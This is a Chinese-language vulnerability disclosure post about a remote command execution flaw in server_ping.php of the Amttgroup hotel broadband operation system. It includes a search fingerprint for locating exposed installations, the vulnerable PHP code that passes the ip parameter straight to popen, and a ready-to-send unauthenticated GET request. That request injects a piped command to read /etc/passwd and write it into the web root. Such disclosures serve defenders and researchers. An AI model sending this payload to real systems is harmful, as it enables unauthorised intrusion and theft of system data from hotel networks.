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Amttgroup 酒店宽带运营系统 server_ping.php 远程命令执行漏洞

# Amttgroup 酒店宽带运营系统 server_ping.php 远程命令执行漏洞 # 漏洞描述 Amttgroup 酒店宽带运营系统 server_ping.php 存在远程命令执行漏洞，漏洞文件中ip参数未过滤造成命令执行...

Amttgroup 酒店宽带运营系统 server\_ping.php 远程命令执行漏洞
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漏洞描述
====

Amttgroup 酒店宽带运营系统 server\_ping.php 存在远程命令执行漏洞，漏洞文件中ip参数未过滤造成命令执行

漏洞影响
----

Amttgroup 酒店宽带运营系统

网络测绘
----

"酒店宽带运营"

漏洞复现
----

登录页面如下

![img](https://shs3.b.qianxin.com/butian_public/f552668f3c8381b772ba5708443d0646032bdc333867d.jpg)

存在漏洞的文件为 `server_ping.php`

```php
<?
if (!isset($ip) || $ip == "" || !isset($id) || $id == "") exit;

$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
$getString = "";
if ($fp) {
    while (($line = fgets($fp, 512))) {
        $getString .= trim($line);
    }
    pclose($fp);

}

if (strstr($getString, "2 received, 0%")) {
    echo "<html><body><script language=\"javascript\">\n";
    echo "parent.doTestResult('$id', 'ok');\n";
    echo "</script></body></html>\n";
} else {
    echo "<html><body><script language=\"javascript\">\n";
    echo "parent.doTestResult('$id', 'no');\n";
    echo "</script></body></html>\n";
}
?>
```

```plain
$cmd = "ping -c 2 -s 65 $ip";
$fp = popen($cmd, "r");
```

GET传入 `$ip参数` 后直接命令执行，并且文件无权限要求

请求包为

```plain
GET /manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd>../../test.txt&id=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
```

![img](https://shs3.b.qianxin.com/butian_public/f82427370ff4bf4d379b416f5a6ddf6971d7389ece58e.jpg)

发表于 2024-07-12 18:45:43
阅读 ( 623 )
分类：Web应用

Amttgroup 酒店宽带运营系统 server_ping.php 远程命令执行漏洞

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